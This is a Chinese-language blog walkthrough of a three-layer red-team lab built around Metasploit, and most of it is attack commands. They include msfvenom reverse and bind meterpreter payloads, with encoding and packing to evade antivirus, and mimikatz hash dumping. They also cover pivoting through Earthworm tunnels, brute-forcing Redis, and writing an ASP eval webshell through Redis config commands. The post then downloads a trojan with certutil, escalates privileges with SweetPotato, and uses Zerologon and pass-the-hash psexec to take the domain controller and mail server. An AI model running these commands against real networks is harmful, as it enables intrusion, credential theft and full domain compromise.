美文网首页Kali Linuxkali
安全攻防实战系列MSF

安全攻防实战系列MSF

作者: 顶风作案7号 | 来源:发表于2021-12-06 15:46 被阅读0次

    前言
    在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登陆并截图证明。

    环境配置
    从虚拟机网络来看


    image.png

    机器描述

    攻击机:
    win10:192.168.1.6
    kali:192.168.1.10
    
    第一层:12server-bt:
    192.168.1.5
    192.168.59.133
    
    第二层:12server-redis:
    192.168.59.4
    10.10.10.202
    
    第三层:
    12server-ex13:
    10.10.10.209
    
    第三层:
    12server-dc:
    10.10.10.201
    
    192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis
    192.168.59.4/10.10.10.202 不通外网,可以通内网两个机器,也可以访问到机器server-bt,
    10.10.10.209 为邮服, 只能内网机器互相访问
    10.10.10.201 为 DC
    

    【一>所有资源获取<一】
    1、200份很多已经买不到的绝版电子书
    2、30G安全大厂内部的视频资料
    3、100份src文档
    4、常见安全面试题
    5、ctf大赛经典题目解析
    6、全套工具包
    7、应急响应笔记
    8、网络安全学习路线

    目录如下


    image.png

    第一层 server-bt

    蚁剑拿shell


    image.png

    msf免杀拿shell
    使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin
    
    image.png

    使用分离免杀工具生成loader.exe文件


    image.png

    对生成的exe文件进行加壳免杀


    image.png

    免杀效果如下


    image.png

    免杀之后通过蚁剑上传到server-bt上


    image.png

    msf开启监听

    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.10
    set lport 6666
    run
    
    image.png

    蚁剑运行

    image.png

    getuid


    image.png

    ps


    image.png
    migrate 476
    image.png

    msf内网渗透
    load mimikatz # 加载Mimikatz模块


    image.png
    抓取Hash
    meterpreter > mimikatz_command -f samdump::hashes
    image.png
    hashdump image.png
    然后抓到了 hash:
    通过解密得到了 administrator 的密码
    route print # 打印路由信息
    image.png
    对内网进行扫描 arp 存活
    run post/windows/gather/arp_scanner rhosts=192.168.59.0/24
    image.png
    配置路由
    meterpreter > run autoroute -s 192.168.59.0/24
    image.png
    开启远程桌面
    run post/windows/manage/enable_rdp

    成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
    run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt


    image.png

    绕过火绒添加用户
    蚂蚁剑或者cs上传添加用户.exe


    image.png
    运行文件
    image.png
    帐号:hxxxr 密码:Pxxxxd

    远程登录server-bt


    image.png
    权限提升
    使用psexec.exe可以提升到system权限
    psexec.exe -accepteula -s -i -d cmd.exe
    image.png
    但是桌面还是之前用户的权限启动的
    image.png
    为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器
    image.png
    在任务管理器里面我们结束掉之前由之前账号开启的桌面进程
    image.png

    然后再添加一个由system权限下开启的桌面进程


    image.png
    再点入看现在登入的账号是
    image.png

    第二层 server-redis

    Earthworm穿透
    上传EW(Earthworm)到C:/wwwroot/

    image.png
    服务器端执行以下命令
    execute C:\wwwroot\ew.exe -s ssocksd -l 1090
    image.png
    这里还需要修改proxychains.conf配置文件
    $ vim /etc/proxychains.conf
    socks5 192.168.1.5 1090
    
    image.png
    探测内网网段存活主机
    proxychains nmap -sT -Pn -p 80 192.168.59.0/24
    image.png
    192.168.59.4是存活的,我们着重看一下,发现开了80和6379

    Redis-getshell

    kali环境进行爆破
    proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379

    image.png
    得到Redis口令:
    连接redis
    proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx
    image.png
    备份文件写Shell
    192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
    192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
    192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
    192.168.59.4:6379>save                                    最后保存
    

    利用过程


    image.png

    代理蚁剑进行连接这个shell


    image.png
    成功连接到server-redis
    image.png

    并查看权限


    image.png
    利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下
    image.png
    成功进行提权
    image.png

    msf正向免杀木马拿到shell

    Earthworm穿透
    挂代理,通过之前上传的EW(Earthworm)


    image.png

    服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
    execute C:\wwwroot\ew.exe -s ssocksd -l 1090


    image.png
    这里还需要修改proxychains.conf配置文件
    $ vim /etc/proxychains.conf
    socks5 192.168.1.5 1090
    
    image.png
    msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
    

    用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。


    image.png

    使用分离免杀工具生成loader.exe文件


    image.png
    image.png
    改名为msf1.exe,进行加壳免杀
    image.png

    免杀效果如下


    image.png
    先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警
    image.png
    通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马

    C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe

    image.png
    再通过提权工具进行执行
    C:\ProgramData\xxxx.exe -i -c "msf1.exe"
    image.png
    也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了
    msf通过代理开启监听
    proxychains msfconsole
    use exploit/multi/handler
    set payload windows/x64/meterpreter/bind_tcp
    set RHOST 192.168.59.4
    set lport 4444
    run
    
    image.png

    成功获取服务器的shell,之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。


    image.png

    ps


    image.png
    migrate 3992
    getuid
    getsystem
    getuid
    
    image.png

    添加账户和远程连接同第一层

    msf内网渗透

    load mimikatz # 加载Mimikatz模块

    image.png
    抓取Hash
    meterpreter > mimikatz_command -f samdump::hashes
    image.png
    hashdump
    image.png
    得到12SERVER-REDIS账号密码:
    image.png
    route print # 打印路由信息
    image.png
    配置路由
    meterpreter > run autoroute -s 10.10.10.0/24
    image.png
    run autoroute -p
    image.png
    通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下
    image.png
    探测内网段存活
    nbtscan.exe 10.10.10.0/24
    image.png
    ipconfig /all
    10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器
    image.png
    添加完路由后可以通过msf访问所有机器,访问域控
    proxychains curl 10.10.10.201
    image.png

    第三层 server-dc

    zerologon(CVE-2020-1472)漏洞复现

    这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名
    置空域控机器用户NTLM hash
    proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201


    image.png

    接下来用置空的机器账户dump所有hash

    (890c这个hash就是"空"的NTML hash)

    image.png

    我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器

    proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201
    
    image.png

    利用 psexec(PTH)上线server-dc到 MSF:

    proxychains msfconsole
    use exploit/windows/smb/psexec
    set RHOST 10.10.10.201
    set SMBUser Administrator
    set SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387
    set SMBDomain xxxxx
    set payload windows/x64/meterpreter/bind_tcp_rc4
    set  LPORT 4446 
    run
    
    image.png

    成功获取到shell


    image.png

    利用 psexec 上线server-ex13到 MSF:

    proxychains msfconsole
    use exploit/windows/smb/psexec
    set RHOST 10.10.10.209
    set SMBUser Administrator
    set SMBPass aad3bxxxxxxxee:42exxxxxxx387
    set SMBDomain xxxx
    set payload windows/x64/meterpreter/bind_tcp_rc4
    set  LPORT 4447 
    run
    
    image.png

    相关文章

      网友评论

        本文标题:安全攻防实战系列MSF

        本文链接:https://www.haomeiwen.com/subject/uawgxrtx.html